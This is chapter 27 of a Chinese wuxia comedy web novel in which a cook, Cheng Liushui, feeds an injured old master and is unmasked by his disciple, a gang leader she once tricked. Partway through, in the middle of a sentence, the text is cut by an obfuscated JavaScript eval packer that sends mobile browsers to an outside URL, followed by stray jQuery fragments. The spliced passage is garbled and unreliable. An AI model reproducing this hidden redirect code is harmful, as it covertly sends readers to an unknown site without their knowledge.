27. 第 27 章

作品:《我在武侠文里当厨子

    “好好好!再来一个!”食客们的拍掌叫喊声不断,一个个桌子上摆着的是烧得滚烫的小铜锅,眼前看的是精彩绝伦的胸口碎大石。


    男子生得极高,足足七尺多,大块头壮得很,远看就是座小山包,他轻松地拿起两块厚厚石板,石板应声落地砸碎了面前的瓷碗,十成十硬石板做不了假的。


    他这才躺在长凳上,将那石板放在自己胸口上,眼神坚定地看向杜少仲,“来吧!”


    杜少仲一介文弱书生,前几日刚挥完锄头,累得胳膊都抬不起来,如今又要来挥大锤了,只能硬着头皮上。


    “哐当”一下,震得坐在前排的小女郎们不禁用丝帕捂住了耳朵,想看又不敢看的,透过指缝悄摸摸地看个大概。


    乔四方整个人绷紧得很,他倒是没学过什么金钟罩铁布衫,只不过是此时全身内力运转着,真气外泄将那石板微微抬了些许距离,一锤又一锤锤得不是他,而是他身上的真气。


    终于三声大锤了结了他胸口上的厚石板,乔四方扶着累得喘个不停的杜少仲,没事儿人一样挥舞着手臂,迎接着大家的喝彩。


    十全酒楼这几日的花样实在是太多了,甭说是大堂已然坐满了食客,就是酒楼门外也围得里三层外三层,人挤人都能将鞋挤掉了。


    一男子行色匆匆穿过江陵城,一把弯月砍刀丝毫不加掩饰地挎于腰间,万家帮的生意早就做到了货泉商帮那了,货泉商帮那是什么角色?


    手眼通天直达天庭的皇商,自然对于合作伙伴总有些优待,比如他赵灵元即使在闹市中挎刀也不必受官府层层盘问,可谓是如过无人之境啊。


    一路畅通无阻地就来到了十全酒楼前,赵灵元离两条街时就听见了此起彼伏的叫好声,不曾想居然是他师弟酒楼的动静,他只得下了马凑近想进门,怎奈他压根扒不开人群,被挤来挤去直接挤到最边边角角的位置上了。


    “师弟!让我进去……”好歹也算是江湖上有名有姓的人物,赵灵元却觉着自己怕是命不久矣,很快就要被挤死或踩死了。


    而他的好师弟张清寒,压根听不到这大声的呼救,他正在酒楼后院焦头烂额地收拾残局。


    后院最左边的房间里,威震江湖的三大宗师之一,太白散人就躺在此处。六七十岁的老头头戴一鲜红发带,研磨好的药粉敷在额头上,散发出阵阵清苦的味道。


    红肿的眼睛已经消得差不多了,只不过还是得拿鸡蛋揉揉,将那淤血揉开才好,最要命的便是那腊肠嘴,如今只能张开个小缝,吃喝费点劲但也能吃,只不过说话含含糊糊的听不太清。


    太白散人仍是一动不动地躺在床榻上,明明晨起还吃了三碗豆腐脑五根油条,用那漏风的嘴和那程六水说得那叫一个起劲啊,现下对着张清寒又摆出了这么副死样子。


    “郎中说你这伤不出三日就能好利索了,我叫了灵元师兄来接你。”张清寒在坐在屋内说道。


    太白散人一个白眼翻了过去,当做根本没听见,还蹬了个腿给自己盖上了被子,他可是个知冷知热的人。


    “别以为我不知道你在想什么,甭想赖在这里不走。”张清寒继续说道。


    “散粘只越。”太白散人没好气地说了句话。


    “三年之期已过,你受伤我弃权,如此便算个平局吧,你我就此作罢。”张清寒道。


    “偶不同意。”太白散人气得坐起来道,虽然自己现在一身的伤,但他宽宏大量地不与这些个小辈计较,毕竟他们也不是故意的嘛。


    而且六水那丫头做的病号饭是真香啊,他吃了一辈子也不得不承认这丫头有一手,她干脆别叫程六水了,叫程一手得了。就算是为了病号饭,他也得在这多待些时日,绝对不能被他的倒霉徒弟接走。


    要不他就带着他那徒弟留在这一同蹭饭,他徒弟一表人才,胳膊是胳膊腿是腿的,六水见了肯定喜欢,她一喜欢自己还能缺吃的吗?


    张清寒眼见太白散人方才还一脸的不愿意,怎么一转眼就变脸了,笑得如此诡异,令他背后凉飕飕的。


    “前辈,今日的午饭来喽。”程六水推开门,端了满满当当的饭菜过来。


    “由什么?由什么?”太白散人也不装了,颠颠地跑下床榻,满嘴漏风道。


    “您这嘴还没好全,我便遵了郎中的嘱托,发物之类的一概不做的,今日有香菇马蹄肉饼,秋白菜粉条,还有一碗鸡蛋羹,都是些软烂之物,最适合您现在的病情了。”程六水说着便将这些菜一样一样端到桌子上。


    太白散人左右摆动脑袋目不转睛看着,那口水都快流下来了,“砍着就好次。”


    他如今的嘴皮子还有些痛,只能小口吃却一点没耽误这家伙吃饭的速度,那香菇马蹄肉饼鲜嫩多汁,切得碎碎的香菇和马蹄同腌制好的肉馅搅和在一起,上锅蒸熟撒上葱花,那是好看又好吃。


    肉饼软烂一戳就开,肉香四溢,其中还有几分马蹄的清甜和香菇的鲜味,唇齿间一抿就化开了,再配上碗粒粒分明的大米饭,一口肉饼一口米饭,简直是无上美味。


    而秋白菜粉条更是直击太白散人的心尖,六白山位于北境内,一年里有四五个月都冷得能冻掉眉毛,白菜便是最好的食材,有些菜总是吃便觉得稀松平常,可若是在外久久不吃,哪怕是食尽山珍海味,也还是想着那一口。


    更何况程六水这道菜做得简单还地道,几片五花肉煸炒几下,借其荤气后直接将那大白菜下锅大火翻炒,冷冰冰硬邦邦的大白菜没几下就软了心,这时便加些清酱盐巴即可。


    咕嘟咕嘟着,开盖放些粉条豆腐,那粉条浸满了汤汁,水灵灵甜滋滋的白菜清香吃了一口就停不下来了。


    最后这鸡蛋羹自是不必多说,蒸得火候恰到好处,浇上些香油用来拌饭实在是太妥帖了。


    程六水做得菜码子大,三盘菜一碗饭就


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468826|184456||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    占了大半张桌子,张清寒看这老家伙吃得狼吞虎咽的,他也馋得要命,秋白菜粉条他也想吃许久了,没想到竟让这老家伙抢了先。


    张清寒偷偷摸摸拿了双筷子,又悄无声息地夹了一口粉条,“啪嗒”太白散人眼疾手快直接将这双邪恶的筷子打掉了。


    “你老匹夫!”张清寒立着眼睛道。


    “偶的偶的都是偶的!”太白散人不甘示弱道。


    “你们别吵了,要是不够吃我晚上再做……”还不等程六水说完,就见房门再次被推开。


    这次进来的人着实令所有人都惊得掉了下巴,一表人才的万家帮帮主,高高束起的发髻被扯得一溜一溜的,散落的头发垂得到处都是,身上棉绸做的长袍竟然被撕了好几个口子,可怜兮兮地裂开了,全身上下就那一把弯月砍刀算得上齐整。


    “师兄你被打劫了?”张清寒打破久久的震惊道。


    “偶不走偶病还没好偶要待在这里。”太白散人嘴角还有秋白菜呢,就在这大声叫嚣着。


    程六水什么都没说,因为她的脑子当场宕机了,师兄?什么意思?那个捉她去还债,不还就要扔去喂狼的帮主是张清寒的师兄?


    她隐约还记得张清寒说过,太白散人的徒弟这几天会来接他,那这个破破烂烂的帮主是太白散人的徒弟?是张清寒的师兄?那张清寒和太白散人压根就不是什么对峙决战的敌手,而是同门中人。


    如此混乱的关系在程六水的脑袋里逐渐清晰,于是她开始思考真正至关重要的事情,比如真的会杀人的债主上门了怎么办?


    “吃了吗?要一起吃点吗?”程六水想了一圈也没想明白后,脱口而出道。


    “没吃,你???”赵灵元瞳孔不断震颤,谁能告诉他,这个骗取他信任的程门传人为什么在这?


    程六水一个滑步便躲在了太白散人和张清寒身后,可怜巴巴地从两人中间钻出个头来道“好久不见大侠。”


    “你还敢和我说好久不见?我下面的人找你找得都魔怔了!”赵灵元挥舞着他两只破破烂烂的袖子,濒临崩溃道。


    快马疾驰几日几夜而来,就怕赶不上师父的最后一面,风餐露宿这些时日还要在酒楼门口被扯得破破烂烂,没想到师父没什么事,居然还在这儿碰到了骗子,这位帮主大人都要气笑了。


    “我留了信的,我要是想起来怎么做霹雳火弹,我就去找你了,我这不是没想起来了嘛,不对是想起来了一点点。”程六水心虚道,说罢还凑得离张清寒更近了些。


    “师兄莫急,有什么事慢慢说,要不坐下来先吃饭吧,六水再去做几个菜来。”张清寒一个劲地挤眉弄眼道。


    “是是是。”程六水这回比谁都话少,麻溜就跑走了,独留六白山三人组在屋内。


    张清寒紧闭房门,这才回头直视赵灵元郑重道,“师兄,程六水这个人我保了,不管你们之间到底发生了什么。”